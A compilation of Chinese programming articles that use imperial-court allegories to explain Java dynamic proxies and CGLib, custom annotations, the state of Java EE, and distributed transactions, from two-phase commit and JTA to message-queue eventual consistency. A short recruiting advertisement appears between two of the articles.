“如果想对另外一个接口ICalculator和类Calcualtor做代理， 也可以复用这个LoggerHandler的类：”








“折腾了变天，原来魔法是在Proxy.newProxyInstance(....)  这里，就是动态地生成了一个类嘛， 这个类对臣民们来说是动态生成的， 也是看不到源码的。”




“圣明无过陛下，我就是在运行时，在内存中生成了一个新的类，这个类在调用sayHello() 或者add()方法的时候， 其实调用的是LoggerHanlder的invoke 方法， 而那个invoke就会拦截真正的方法调用，添加日志功能了！ ”




“爱卿辛苦了，虽然有点绕，但是理解了还是挺简单的。 朕明天就颁发圣旨， 全国推行，对了你打算叫它什么名字？ ”




“既然是在运行时动态的生成类，并且作为一个真实对象的代理来做事情， 那就叫动态代理吧！”




动态代理技术发布了，臣民们得到了暂时的安抚，但是这个动态代理的缺陷就是必须有接口才能工作，帝国的臣民能忍受得了吗？
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                    从兄弟到父子：动态代理在民间是怎么玩的？

                                                                                

                    

                    

                    
                    
                    前言：本文为《Java帝国之动态代理》的姊妹篇， 讲述动态代理的另外一种实现即CGLib的设计过程。

当IO大臣绞尽脑汁地在府中设计Java动态代理的时候，他并不知道，在帝国的一个小小的部落，一个年轻的小伙子正在为同样的问题而苦恼。





师傅刚刚给小伙子下达了任务：在运行时对一个类进行扩展， 例如有个类叫HelloWorld，要在运行时给他加点日志输出的代码。









师傅特别告诉年轻人：“大胖， 你要注意，是在运行时，而不是在编译时！ 不能改变原来的代码！”





年轻气盛的张大胖还不太清楚为什么要这么干，不由地问道：“师傅，怎么会有这么稀奇古怪的要求啊？”




师傅说：“你先把这个东西给做出来，我以后自然会给你讲。”




张大胖研究了一段时间后得知，Java帝国严禁在运行时对一个类进行修改，比如HelloWorld 这个类,  一旦被装载进入JVM方法区，就不能改动了，那想在运行时给它的sayHello()方法中加点日志代码该怎么办呢？




大胖心想： 那其实只剩下一条路了，动态地生成一个新类， 让这个类作为代理HelloWorld去做事情。









可是怎么才能动态地生成一个类呢？ 张大胖心想： 我曾经看过帝国的《JVM规范》， 一个class文件那简直是太复杂了，难道让我去操作二进制代码去生成类？  那可要了我的小命了！ 




张大胖拿着草稿图去找师傅：“师傅，我已经有了个初步想法， 可是不知道怎么去动态地生成类啊！”




师傅看了一眼说： “你这个类图有问题啊！”




“什么问题？”




“举个例子，有个函数如下









现在你把HelloWorld变成了HelloWorldProxy, 而这个HelloWorldProxy又和原来的HelloWorld一毛钱关系都没有， 还能作为参数传递給hello方法吗？ ”




张大胖挠挠头，挺不好意思 ： “奥，那是肯定不行喽，没法利用多态，这样，我可以让这个动态生成的HelloWorldProxy继承自HelloWorld， 师傅你看看这样行不行：”









“这样好多了， 但是还有一个问题，就是代码的复用性不够。”





“什么复用性？”




“你想想啊，现在你只有一个类就是HelloWorld , 如果还有很多别的类例如Person, Student, Employee,Teacher ..... 他们相应的方法都要加上日志输出，按照你的办法，就得有无数这样的代码了：

Logger.startLog();

super.XXXX();

Logger.endLog();”




“奥，我明白了，就是要想办法复用这一段代码，那我可以再增加一个中间层，就叫做LogInterceptor如何？”









“孺子可教，你这个名称起得也不错，Interceptor，意味着拦截的意思。这样一来LogInterceptor就可以被其他类给复用了。”




“师傅， 回到我最初的问题， 怎么在运行时动态地生成Java Class啊？ 总不能让我直接写Java字节码吧？”




“这个你不用担心，有个叫做ASM的家伙，他已经对底层的Java字节码操作做了封装，你直接调用它就行了”




（老刘提示: 请移步 《ASM： 一个低调成功者的自述》）




“好， 让我去看看，这个玩意儿到底怎么样。”




ASM确实挺难的， 虽然对字节码操作做了封装，但是非得理解JVM指令才行，张大胖不得不去学习一下JVM字节码的知识，两个月后，他终于能够使用ASM动态的在内存中创建类了。 




又花了两个月，张大胖终于把整个系统开发完成，现在的使用非常简单：









张大胖把这个东西命名为动态代理， 因为所做的所有事情无非就是在运行时为原有的类建立一个代理，增加功能而已。 





过了两天， 师傅急匆匆地来找张大胖：“大胖， 我刚刚听说， Java帝国的IO大臣在JDK中加入了一个重要功能，叫做Java 动态代理，你赶紧研究下，看看和咱们做的有什么不同。”




大胖不敢怠慢，赶紧查看帝国发布的公告文书， 看完以后就放心了：“师傅， 这官方的动态代理有个重大的缺陷，就是必须有接口才能使用，而我们做的动态代理只要有个类就可以了， 我可以动态地生成一个子类。当然如果一个类被标记为final , 无法被继承，那就不行了。”






“嗯，有点意思” 师傅说道 “这官方动态生成的HelloWorldProxy是HelloWorld的兄弟， 而我们动态生成的HelloWorldProxy是HelloWorld的孩子啊！”





“哈哈，果然是这样。 师傅，你还没给我说这玩意儿到底有啥用处呢”




“你没看官方的公告吗？”




“官方大话套话连篇，看不懂啊！”




“还拿之前的例子来说吧，你现在有很多类，例如Person, Student, Employee,Teacher ... ， 每个类都有很多方法， 现在你想给这些方法加上日志输出，该怎么办呢？”




张大胖说：“我可以去改动代码， 嗯，这样改动量非常大，并且如果拿不到源码的话，就没办法了。”




“对啊，这时候动态代理不就派上用场了？ 动态生成代理类PersonProxy, StudentProxy，EmployProxy... 等等， 让它们去继承Person, Student, Employee,   这样代理类就可以增加日志输出代码了。 你甚至可以把要添加日志功能的类和方法写到一个XML文件中去， 然后再写个工具去读取这个XML文件，自动地生成所有代理类，多方便啊。”




“奥，原来如此 ，不仅仅是日志，还有事务了， 权限检查了，都可以用这种办法，对吧 ” 张大胖一点就通。




“是这样的， 这就是AOP编程了。  对了，既然官方已经把动态代理这个名称给占了， 我们就得改名了，不能叫做动态代理了”




“师傅，这个我已经想好了，叫做Code Generation Library， 简称CGLib, 体现了技术的本质，就是一个代码生成的工具。”




后记：CGLIb为了提高性能，还用了一种叫做FastClass的方式来直接调用一个对象的方法，而不是通过反射。   由于涉及的代码太多，本文不再展示，一个具体的调用过程参见下图：




















最后，感谢“白色衬衫”同学在之前的留言中提出了“动态代理的兄弟、父子的关系”，给了我灵感写这篇文章。




（完）
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优秀人才不缺工作机会，只缺适合自己的好机会。但是他们往往没有精力从海量机会中找到最适合的那个。




100offer 会对平台上的人才和企业进行严格筛选，让「最好的人才」和「最好的公司」相遇。




扫描下方二维码，注册 100offer，谈谈你对下一份工作的期待。一周内，收到 5-10 个满足你要求的好机会！












                    
                    
                    Java注解是怎么成功上位的？

                                                                                

                    

                    

                    
                    
                    1
XML大臣


最近这几年，XML大臣的宅邸车水马龙，像什么Spring, Hibernate, MyBatis 等大大小小的官员进京来都要拜访一下，无数的冰敬碳敬悄悄地送入府中， 真可谓红极一时， 正处于人生巅峰。 原因很简单，Java帝国的配置文件几乎都在使用XML, 自然都归XML大臣管理，想不红都难！





其他大臣看在眼里，恨在心里，他们决定联合起来，坚决打击XML大臣的嚣张气焰， 坚决把白花花的银子转移到自己府中来。  几位老家伙商量以后，决定还是推举老成持国的IO大臣为首领，给XML大臣一点颜色瞧瞧。 




2
安翰林献计


可是IO大臣想了半天，也没什么好办法。  





这一天有个姓安的翰林自报家门求见， 说是可以助IO大臣一臂之力。




“安大人有何见教？”  IO大臣懒洋洋地问道，他对这些读死书的翰林们没什么好感。




“大人，下官在负责Java注解，对付XML大臣，也许是个突破口”




“注解？ 这是什么东西？”  IO大臣确实是有点老了




“其实就是元数据了”




“元数据？”  IO大臣一头雾水。




“嗯， Metadata”   安翰林把英文都整出来了。 




“卖它推它？”  IO大臣明显英文不好。




旁边的幕僚一个劲儿的使眼色， 谆谆告诫安翰林要通俗易懂。




安翰林说： “大人肯定知道@Override,@SuppressWarning等注解吧？ ”









IO大臣点头。




安翰林接着说： “所谓元数据， 就是描述数据的数据了，换句话说可以给其他数据提供描述性信息， 例如Java类中的某个方法，可以认为是一种数据， 如果我的@Override 一旦被用到这个方法上，那就意味着要覆盖父类/接口的方法了，于是我的@Override 就给这个方法提供了额外的信息。”




 “但是在源代码中写个@Override 似乎也没什么用处啊？ ”  IO大臣问道




 “所以这只是元数据,  它给其他数据（如Java方法）提供了信息， 但是怎么样利用这些信息那就不归我管了。” 




 “那归谁管？” 




“比如@Override ， 由编译器来管，当编译这个Java 文件的时候，它就会检查被@Override 修饰的方法是否和父类的方法和参数相同， 如果不同，就会报错了。”




IO大臣说： “奥，明白了，所谓的注解有点像加强版的注释， 这个“注释”不但有一定的格式，还有特定的含义，这样别的工具就可以读取它来做事情了！”




安翰林松了一口气， 心里暗自佩服IO大臣的总结能力。 




“我记得这个@Override注解很早就有了啊，好像是JDK1.4吧”





“没错，  之前JDK内置了@Override、@Deprecated 、@SuppressWarnings等注解， 但是用处不大， 下官有个想法，干脆允许臣民们自定义注解得了”  安翰林开始切入正题。




“自定义？ 就是让臣民们自己写？ ”




“是的大人， 比如我可以自定义一个叫做 @Test的 注解：”  安翰林说着把写好的代码呈了上去。 









安翰林接着说： 大人请看我这里定义了一个叫做Test的注解，它有个ignore方法， 一会儿您老就看到它的用途了， 这个注解是应用在方法上的 @Target(ElementType.METHOD)， 在运行时起作用@Retention(RetentionPolicy.RUNTIME)。




IO大臣问道：“稍等， 我怎么还看到了@Target，@Retention， 这是什么？ ”




 “这称为元注解，可以认为是注解的注解。” 安翰林嘿嘿一笑说  “@Target表示该注解的应用目标，可以是类、方法、 方法参数等等， @Retention表示这个注解要保留到什么时候， 可以只在源码中， 或者class 文件中， 或者是运行时。”




“ 注解的注解， 真是够拗口的啊， 这个自定义的注解@Test 该怎么使用呢？ ”




安翰林又展示了另外一段代码：









IO大臣看了下，心想这自定义的注解和JDK内置的注解都差不多嘛，@Test修饰了方法， 表示这个方法可以作为测试用例来运行， @Test(ignore=true)则表示虽然这是个测试方法， 但是暂时忽略，不用运行， 果然简洁而清爽，老夫真是小看了这个安翰林。




“@Test注解的定义和使用，只是定义了行为语义，怎么样实现这个行为呢？  ” IO大臣问道




安翰林早有准备：“大人请看，我可以在运行时通过反射的方式取出把方法的注解，如果这个注解是@Test， 并且没有被ignore ， 那就可以通过反射去执行这个方法了， 是不是很简单？”









IO大臣微微点了点头，表示赞同，接着便闭目陷入了沉思： 这个东西有点意思，在一个方法上添加了简单的修饰性注解@Test以后，这个方法突然间就有了额外的语义，变成了可以执行的测试用例了 !




如果是XML老头儿， 该怎么描述类似的行为呢？  也许得这样：









相比于简洁的@Test注解，这个方式实在是太复杂了， 更重要的是每次增加新的方法，除了修改Java文件之外，还得记着修改这个XML文件， 实在是繁琐。




嗯， 看来这个注解确实是个杀手锏， 要谨慎使用，一击必中。




想到这里，IO大臣睁开眼睛，喜笑颜开，让安翰林写一个关于注解的详细奏章，自己在合适的时候呈给皇上。 




3
早朝争斗


初六阳光灿烂，IO大臣看到早朝的皇上心情不错，就把奏章呈了上去。 





“注解？ 这是什么东西？”  皇上根本没心思了解细节。




“启奏陛下，这个注解能够部分的代替一些XML的配置工作”  IO大臣一边小心翼翼地回复，一边用余光向XML大臣扫去。 




看到IO大臣向自己发难， XML大臣立刻警觉起来， 他马上说： “陛下，可否让老臣一观？”




皇帝示意让吕公公把奏章递给XML大臣。 




XML大臣看了一会儿就明白大事不好， 这简直是釜底抽薪， 如果这个帝国批准了这个玩意儿，允许臣民们自定义注解，自己的势力要大大地被削弱了。




XML大臣脑海中出现一副可怕的场景， Spring, Struts, Hibernate 等纷纷倒戈，都采用注解来进行系统配置，白花花的银子开始流向IO大臣的府邸......




不， 坚决要把这点星星之火迅速扑灭。 




“陛下，依老臣之见， 此法断不可行！”  XML大臣斩钉截铁。




“为何不可行？  使用注解，配置靠近代码，容易阅读、容易修改！”  IO大臣立刻反击， 为了展示易读易改，IO大臣还现场写了一段代码，描述了一个普通的Java 类是如何向数据库表和列映射的。 朝中多位大臣齐声喝彩，  为IO大臣摇旗呐喊。









“单独看一个当然很清晰， 但是如果多了， 配置分散在各个Java文件中， 极难查找，到时候你哭都来不及， 如果你用了XML, 所有的配置集中在一处， 一目了然。 还有，如果你想修改配置就得改Java源文件，重新编译部署，这也太扯了吧？！” XML大臣不甘示弱。




眼看着两位重臣开始剑拔弩张， 皇帝决定出面和稀泥， 他也不希望一家独大，也想平衡一下朝中关系。




“两位爱卿，依朕之意，还是先在JDK中加入自定义注解的支持，至于是用注解还是用XML， 还是让朕的子民们去选择吧！  ”




看到皇上主意已定， 两位大臣只好退下。 




自定义注解发布了， 令大家没有想到的是，无论是注解还是XML配置都没有占据垄断地位，很多人把二者混合起来使用了！  对于一些需要集中配置的场合，例如数据源的配置， 自然是用XML。 另外一方面对于@Controller, @RequestMapping, @Transactional 这样的注解 ， 大家更喜欢和Java方法写在一起，显得简单而直观。




这正如朝中的局势，没人能够一家独大，XML大臣虽然丢失了一些领地，但依然是不可忽视的力量。 一场争斗，唯一的大赢家可能就是安翰林了，他被任命为Annotation大臣，专门管理自定义的注解。 




（完）
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                    Java EE要死掉了？

                                                                                

                    

                    

                    
                    
                    最近有人问我说： 欣哥， 我们现在都用Spring， Hibernate, SpringMVC了，这Java EE是不是已经死掉了？





这个问题让我哭笑不得，因为他似乎还没有搞清楚Java EE到底是怎么回事，就给Java EE判了死刑。




Java EE是什么呢？　




简单来讲Java EE 就是一个技术规范的集合，一些核心的技术规范包括：JDBC, Servlet, JSP, JNDI, EJB, RMI, XML , JMS , JTA, JPA,JavaMail 等等。  这些规范的目标很美好， 就是帮助程序员开发大规模的、分布式的、高可用的“企业级”应用， 只是实际的效果可能就没那么美好了。




我们先来看一看这些核心的技术规范都是干嘛的，然后再来评判Java EE是不是快要死掉了。




JDBC ： Java程序访问数据库的核心技术，不管是使用Hibernate , MyBatis, EJB, 还是自己写类库， 只要你访问数据库， JDBC是绕不过去的， 我还没见过在Java 中用其他技术读取数据库的案例。

（参见文章：《JDBC的诞生》）




Servlet :   简单地说，Servlet就是Web应用让外界访问的入口。 当然现在直接写Servlet的越来越少， 因为在框架的包装下，应用程序只需要直接写Action 或者 Controller就可以了， 但这并不能否定Servlet的核心和基石地位。




JSP & JSTL： 由于前后端的分离和其他更优秀的替代技术，现在用JSP当做视图层也是凤毛麟角了， 更多的是在遗留系统中在使用，  JSP确实在走向没落。




JSTL 是JSP Standard Tag Library, 一套标准的标签库， JSP不受人待见，JSTL就更不行了。

（扩展阅读： 《JSP:一个装配工的没落》）




EJB ： 曾经最为热门的技术， 寄托了大家最美好的期望，但事实证明EJB 1.x 2.x 简直就是灾难， EJB3.x 虽然吸收了Hibernate的很多优秀特性，奈何大家使用轻量级类库和框架的习惯已经养成， 无法翻身了。




更要命的是使用EJB需要昂贵、复杂、笨重的应用服务器（如Weblogic, Websphere等）， 这也是使用它的巨大障碍，再加上Spring 这个轻量级框架的崛起， EJB被彻底打入冷宫。




RMI ： 远程方法调用， 让Java程序可以像访问本地对象一样来访问远程对象的方法， 早期和EJB搭配用的最多， 因为EJB会被部署在分布式的应用服务器中， 一个机器上的程序需要访问远程的EJB，RMI是个基础的技术。  随着EJB的失宠， RMI似乎也用的很少了。




RMI应该是RPC的一种实现，只能在Java 世界中使用， 相对于被广泛使用的基于Web、 基于HTTP的RPC调用， RMI更不受待见。

（参见文章《我是一个函数》）





JNDI： 这是一个基础性的技术， 可以把名称和对象进行绑定，最常见的就是通过一个名称来访问数据源，而不用关心这个数据源到底在什么地方。 依然在广泛使用。




JAXP： XML在Java 中无处不在，Java EE 通过Java API for XML Processing(JAXP)来读取/解析XML文件，只是这个接口实在是不太好用，学院派气息过浓， 所以现在大家都用民间开源的JDOM,DOM4J 了。




等到JSON开始流行， “悲剧”又重演了，大家都在用民间的fastjson, jackson ， 似乎选择性的忘记了 官方的 Java API for JSON Processing。




官方的不如民间的，也是Java世界的一大特色。




JMS：  Java世界访问消息队列的标准方式， 各大消息队列产品都支持， 没有理由不用它。

（扩展阅读《Java帝国之JMS的诞生》）




JavaMail ： 在Java中发送邮件，又一个基础性的技术。




JTA： Java Transaction API， 主要是为了在多个数据源之间实现分布式事务， 但是JTA在在高并发和高性能的场景下表现不佳， 很多时候并没有用JTA， 而是用异步的方式来解决问题。

（扩展阅读：《Java帝国之宫廷内斗（上）》 《Java帝国之宫廷内斗（下）》）




除了上面列举的，Java EE还有很多规范

Java API for WebSocket

Java Persistence

Concurrency Utilities for Java EE

Java EE Connector Architecture

Java API for RESTful Web Services (JAX-RS)

Java API for XML-Based RPC (JAX-RPC)

Java Management Extensions (JMX)

JavaBeans Activation Framework (JAF)

......




这些规范在日常的Web开发中可能用的更少，SSH/SSM 中也可以找到对应物， 给大家的感觉就是这Java EE的规范没用了， 要死掉了。




我倒是觉得应该是Websphere , Weblogic这些应用服务器不行了， 从上面的描述中可以看到，活得最滋润的几个是JDBC, Servlet, JMS,  最不如意的就是EJB了，  而EJB恰恰是昂贵的商业应用服务器Weblogic , Websphere 的一个核心功能。




在云计算的环境下， 在容器技术、微服务当道的情况下， 那种集中式的、繁琐的、笨重的部署注定要走向消失。 现在很多后端开发，用Tomcat这种主要支持Servlet/JSP的Web服务器，再配上轻量级的SSH,或者SSM就足够了。




说了这么多，可能有人想到这个问题：  这些规范是怎么制定的的呢？




答案是JCP(Java Community Process)， 在这个组织中，一些特定的成员（Full Memeber）如果想把某个技术如JDBC变成Java 规范，就需要发起一个叫做Java Specification Request (JSR) 东西，公开让大家进行评判， 最后由执行委员会投票，决定是否可以发布成为正式规范。




理论上每个人都能够成为JCP的成员， 但是有发言权的， 能上桌玩牌的还是一些巨头，如Oracle, Google, IBM, SAP等等，所以有很多人认为JCP制定出来的Java EE规范只是考虑大厂商的利益， 不顾普罗大众的死活，  这种脱离人民群众的规范是没人用的， 是要死掉的。




这么说确实有一定的道理， 我个人觉得Java EE规范中有一些精华会保留下来，被一直使用，直到Java退出历史舞台。  至于其他的Java EE规范， 就让他们自生自灭去吧。




（完）

你看到的只是冰山一角， 更多精彩文章，请移步《码农翻身2016文章精华》或者《码农翻身2017上半年文章精华》
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前言： 本文是《持久化：Java帝国反击战》续集，开始讲解分布式事务。
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 JDBC大臣





自从和东海之滨的数据库联合酋长国缔结了合作协议以后， IO大臣就退居二线了。




他本来也想把JDBC也划归自己管理， 奈何国王头脑发热、竟然任命了新的JDBC大臣， 专门负责这一摊事儿。




JDBC大臣经常在早朝上给国王吹风：  “ 陛下， 我们的JDBC设计的非常好， 别看什么Hibernate, Mybatis 是现在的事实标准， 他们底层都在用我们的JDBC接口。 ”




国王赞许地频频点头，似乎忘记了这是躲在角落中IO大臣的功绩。




IO大臣咬牙切齿又无可奈何。




这天JDBC又在给国王安利关系数据库的好处： “陛下，这关系数据库相比于简单的文件系统有个巨大的好处，就是支持事务。”




听到JDBC大臣又在贬低自己负责的部门， IO大臣怒火中烧。




国王问道：“什么是事务，要事务干嘛？ ”




“我举个通俗的例子你就明白了， 假设IO大臣要给我转账100块钱， 他的数据库账户要扣掉100块， 我的账户要增加100块， 这就涉及到两个操作， 这两个操作要么全部完成，要么一个都不做，只有这样才能保证数据的一致性， 这就是一个事务。数据库联合酋长国有个对事务总结了4个特性： 原子性(Atomicity) ，一致性(Consistency）, 隔离性（Isolation） , 持久性（Durability) , 简称ACID, 要不我再给详细的解释下？”




国王连忙摆手：“不不不， 别拿这些细节烦我， 你就告诉我们的臣民怎么去使用就行了”




JDBC大臣说： “这个很简单， 默认情况下我们的JDBC都会把对数据库的操作认为是一个事务， 当然臣民们也可以设置成手工的方式， 手工地提交和回滚事务。不管哪种方式，都是非常简单的 。”




国王说： “那就好， 爱卿辛苦了， 还有事吗？ 有事启奏，无事退朝。”
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 密谋





IO大臣回到家中，依然感觉火气难平， 招来幕僚商谈。




InputStream说： “大人， 这JDBC大臣虽然猖狂， 我们却暂时拿他没办法， 现在都是Web时代， 哪个应用不用数据库啊？ ”




“难道就让他这么猖獗下去？ ”




InputReader足智多谋： “我倒是有一计， 只是得等待时机。 ”




“什么时机？”




“你看今天JDBC那厮提到了事务， 但是这个事务只是在一个数据库中有用啊， 如果需要跨数据库怎么办？ 比如我的账号存在数据库A,  你的账号在数据库B, 那转账的时候怎么办？ 怎么实现什么ACID ? ”




InputStream表示不同意： “谁会这么傻， 把我们的账号信息放到两个数据库当中？ ”




“这就是时候未到， 现在大部分的应用数据量都不大， 放到一个数据库中绰绰有余，等到数据量大到一定程度，势必要拆分数据库，就会出现跨数据库的事务， 到那个时候我们的机会就来了， 我们准备好解决方案， 参那厮一本， 不信扳不倒他！”




IO大臣拍板： “好！ 就这么办， 这事离不开数联酋（数据库联合酋长国）的支持，我和他们还有交情， 这就派人去，许以重金， 让他们继续和我们合作。”




在IO大臣密谋的同时， JDBC大臣的家中却是觥筹交错、莺歌燕舞。




有识之士如Connection 曾经向JDBC大臣提醒过要和数联酋搞好关系， 以便将来有什么不时之需。 可是处于巅峰的JDBC大臣哪能听得进去？
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  两阶段提交





InputReader 果然很有远见， 随着时间的流逝， Web越来越发达， 帝国出现了很多巨型网站， 他们的各种数据果然是没法放到一个数据库中了，把大的业务系统查分成多个数据库势在必行， 当一个业务同时操作多个数据库的时候， 没有分布式事务是做不了的。




正在此时，一个秘密奏章被送到了国王的案头， 状告JDBC大臣因循守旧，面对大好的形式不与时俱进，对分布式事务漠不关心，毫无作为。




国王召集朝会，讨论分布式事务的问题， 他向JDBC大臣率先发难： “爱卿， 你听说过臣民们要求支持分布式事务吗？”




JDBC大臣慌了： “这。。。 这好像是一撮刁民提的要求吧， 陛下不用理会。”




IO大臣冷笑一声：“刁民？ 我看是良民吧 ！  启奏陛下， 据臣所知，帝国有不下百个系统要求支持分布式事务，JDBC大臣竟然连最基本的情况都不知道， 真是毫无作为。”




IO大臣觉得稳操胜券，直接撕破了脸。




国王心里明白了几分， 他直接对IO大臣说： “爱卿，你说说该怎么办？”




“陛下，当年臣和数据库联合酋长国谈判的时候， 和他们建立了良好的交情。 前几天我宴请他们的时候，特别提及了这件事情。 Oracle 告诉臣，这很好办， 人家别的王国正在讨论实施两阶段提交的协议， 我们也可以参与进来。”




虽然IO大臣已经和数据库联合酋长国讨价还价了很久， 不知道花费了多少金钱，但还是不显山不漏水、很随意地说了出来。




JDBC大臣一看IO大臣进入了自己的一亩三分地， 急忙问道： 什么是两阶段提交？




IO大臣不屑地瞥了他一眼， 从袖子中拿出早就准备好的提议，双手向国王奉上。




国王哪里看得懂，扫了一眼就赐给望眼欲穿的JDBC大臣， 只见上面赫然写着：




两阶段提交协议

由于涉及到多个分布式的数据库， 我们特设一个全局的事务管理器，它来负责协调各个数据库的事务提交， 为了实现分布式事务，特设两个阶段：




阶段1： 全局的事务管理器向各个数据库发出准备消息。 各个数据库需要在本地把一切都准备好，执行操作，锁住资源， 记录redo/undo 日志， 但是并不提交， 总而言之，要进入一个时刻准备提交或回滚的状态， 然后向全局事务管理器报告是否准备好了。 




阶段2： 如果所有的数据库都报告说准备好了， 那全局的事务管理器就下命令： 提交， 这时候各个数据库才真正提交 ， 由于之前已经万事具备，只欠东风，只需要快速完成本地提交即可； 

如果有任何一个数据库报告说没准备好， 事务管理器就下命令： 放弃， 这时候各个数据库要执行回滚操作， 并且释放各种在阶段1锁住的资源。






JDBC大臣也是行家，一看就明白了是怎么回事。阶段1就是让大家都准备好，阶段2就是迅速提交。 




这是一个看起来很美的理想方案，但是他意识到其中有漏洞，自己的幕僚曾经告诫过：一旦涉及到分布式，事情就不会那么简单，任何地方都有失败的可能。




比如在第二阶段，那个事务管理器要是出了问题怎么办？ 人家各个数据库还在等着你发命令呢？ 你迟迟不发命令，大家都阻塞在那里，不知所措，到底是提交呢？还是不提交呢， 我这里还锁着资源呢， 迟迟不能释放，多耽误事啊 ！　




还是第二阶段，事务管理器发出的提交命令由于网络问题，数据库１收到了，数据库２没收到，这两个数据库就处于不一致状态了， 该怎么处理？




JDBC大臣决心给IO大臣挖个坑：让你逞能 ！ 让你给老子穿小鞋！　




他说：“ 陛下，IO大臣不愧为设计过JDBC协议的股肱之臣， 臣才学疏浅，深为拜服，特奏请陛下恩准IO大臣再次出山和数据库联合酋长国设计出新协议， 来支持分布式事务。”




国王准奏。 
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  JTA





IO大臣满心狐疑， 不知道JDBC老头儿在给自己下什么药，回到府中和大家商量。 




InputReader 眼看自己多年前的计策就要成功，颇为兴奋： “管它呢， 只要咱们把这个分布式事务的协议给制定好，JDBC老儿就得下台了。”




“对，到时候我们就掌管文件， 网络，数据库，Java 帝国就是我们IO独大了”  InputStream 开始畅想美好的未来，到时候自己估计至少从5品升为4品。 




IO大臣马上安排和数据库联合酋长国的谈判，由于之前良好的交情。 这一次协议很容易就达成了， IO大臣给他起了一个很响亮的名字： Java Transaction API (简称JTA)。 




这个JTA规范用起来也比较简单， 只要获得一个UserTransaction 就可以操作了，帝国的臣民们根本不用关系底层的协议细节：



经过国王的批准， JTA正式推广。




可是令IO大臣万万没有想到的是， 国王在JTA发布的前夕， 亲切地召见了自己和另外一个不知名的官员， 国王关心地说：“爱卿，朕知道你很忙，掌管着网络和文件操作，为了给你减轻负担，朕决定任命一个新的JTA大臣来协助你！”




IO大臣如同五雷轰顶，自己辛辛苦苦的工作完全被无视， 这到底是为什么？




他失魂落魄地回到府中， 好几天茶饭不思。




还是InputReader 出来安慰了他： “这是陛下的帝王之术， 害怕我们一家坐大， 平衡了一下朝中力量。大人可以放宽心， 你看JDBC大臣也受到了打压，风光不再了。”
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 塞翁失马，焉知非福





JTA并没有取得像JDBC那样的广泛应用， JDBC大臣挖的那个坑现在终于露出了狰狞的面目。




只不过这个坑并没有让IO大臣掉进去， 新任的JTA大臣背了黑锅。




臣民的抗议声越来越多： 分布式事务伴随着大量节点的通信交换， 协调者要确定其他节点是否完成， 加上网络带来的超时，导致JTA性能低下， 在高并发和高性能的场景下举步维艰。




拜IO大臣的工作所赐，  现在数据库联合酋长国的各个部落都支持两阶段提交，很多应用服务器Websphere , Weblogic 等都支持JTA， 可是使用者确是寥寥无几， 都快成摆设了。




JTA大臣每次上朝都战战兢兢， 他是个平庸之辈，虽然四处救火，但是无力解决根本的问题。




现在那些高并发的系统反而极力避免两阶段提交， 他们绕开JTA大臣， 直接找到了IO大臣诉苦：“大人，你带领着制定了JTA, 但是这个标准太理想化，完全不符合实情啊！ ”




IO大臣说： “不会吧，这不是你们要求的吗， 用户A和B的账号分别在两个数据库， 当A给B转账100块的时候， 肯定得保证A扣掉100， 然后B增加100啊。”




“这就是官府的想法， 总是想着让两个数据库保证实时的一致性（强一致性）， 为了达到这个目标，JTA付出的代价太高了。 我们现在不想这么干了。 我们可以忍受一段时间的不一致，只有最终一致就行。 比方说A给B转100元， A 中的钱已经扣除， 但是B中不会实时地增加，过段时间能保证增加就行了”




“最终一致性？ 有点意思!”   ，想到Java 帝国的官方标准总是被臣民们所建立的事实标准所打败，敏锐的IO大臣立刻看到了背后的机遇， 他决定这一次要联合民间力量，再次反攻， 一举搞掉JDBC大臣和JTA大臣。




想到这里， IO大臣得意地笑了......




（未完待续）




你看到的只是冰山一角， 更多精彩文章，请移步《码农翻身2016文章精华》或者《码农翻身2017上半年文章精华》
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                    这是个系列故事，没有读过前两回的不妨看看《持久化：Java帝国反击战》 和 《Java帝国之宫廷内斗》



1



  前情提要





上回说到IO大臣一直被JDBC大臣打压， 为了搞掉JDBC大臣， 他忍辱负重、历经千辛万苦终于搞出了分布式事务的标准Java Transaction API， 满心以为这次必定翻身，但是没想到国王为了平衡朝中的权利， 居然把JTA的管理权赐给了新任的JTA大臣。




更没有想到的是，幸亏自己没有管理JTA，这个官方标准太强调强一致性，和民间的高并发系统要求的最终一致性不合拍，用不起来，变成了JTA大臣的烫手山芋。




和民间代表深谈了一次以后，本来已经心灰意冷的 IO大臣再次激起了雄心壮志： 一定要把JDBC大臣和JTA大臣搞掉。
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 基本可用





IO大臣马上找了自己的心腹幕僚 InputReader ,  交代了一项任务， 去民间考察这些高并发系统是怎么折腾最终一致性的。




InputReader 连夜出发， 为了不引起JDBC大臣和JTA大臣的注意， 这次特意微服私访。




他不辞辛苦， 跑遍了帝国大大小小几十个高并发系统， 与大量的民间领袖深入地交换了意见。  他越谈越惊心： 我们总是高高在上地制定所谓官方标准，自我感觉良好，实际上根本没人用， 前有EJB, 今有JTA, 都是脱离了实际需求想出来的。




3个月后， InputReader 已经成竹在胸， 回到京城向大人汇报。




“大人， 据小人观察， 我们的JTA用的人确实很少，我现在是理解了他们民间所说的最终一致性了”




看着黑瘦的InputReader, IO大臣心里非常感动，  暗下决心： 等老夫控制了朝局， 一定给忠于自己的InputReader升两级。




“还是拿那个转账的例子来说吧”  InputReader 喝了口茶继续说  “ 假设两个账户（吕秀才和郭芙蓉）在两个独立的数据库中， 我们原来设计的JTA是要求从吕秀才账户减去100两银子， 然后在郭芙蓉账户加上100两银子， 这两个操作要么全部做完，要么全部不做， 但是在网络的环境下， 这是不大容易做到的， 或者说在高并发的情况下做到的代价太高。”




“这我理解，上次说了，  你说说民间到底是怎么实现的。” IO大臣有点心急。




“其实特别简单， 他们用了一个叫做消息队列的东西来实现的， 大人请看 ”  InputReader 展开了一张图：









（码农翻身注： 消息队列的故事参见《Java 帝国之消息队列》）




IO大臣看着图： “就这么简单？”




InputReader 说： “小人举的是个非常简单的例子， 但是也能说明问题了， 你看我们想从吕秀才账户转100两银子给郭芙蓉， 需要在数据库1发起一个事务， 从吕秀才账户扣除100两， 然后还得向消息队列插入一条给郭芙蓉账号增加100两的消息， 然后这个数据库1的事务就结束了！  消息队列中的消息会在某一刻被读取出来，进行处理，给郭芙蓉的账号增加100两。”




“那给郭芙蓉添加100两的消息什么时候会被处理呢？ ”




“这个时间不确定， 就看具体怎么实现了， 比如有个后台程序定期运行，读取消息来处理 ”




“那万一消息队列down机怎么办？ ”




“不用怕， 消息队列的数据都是持久化到硬盘上的， 不会丢失。”




“郭芙蓉这么刁蛮， 这100两银子不能立刻到账， 她还不把吕秀才给‘排山倒海’了？”




“大人，这就是关键了，你想啊， 假设数据库2 down机了， 对郭芙蓉有两种选择：　一种是由于系统原因，转账操作完全不能操作，另外一种是可以转账，但是钱稍后到账，你说郭芙蓉会选哪一种？”




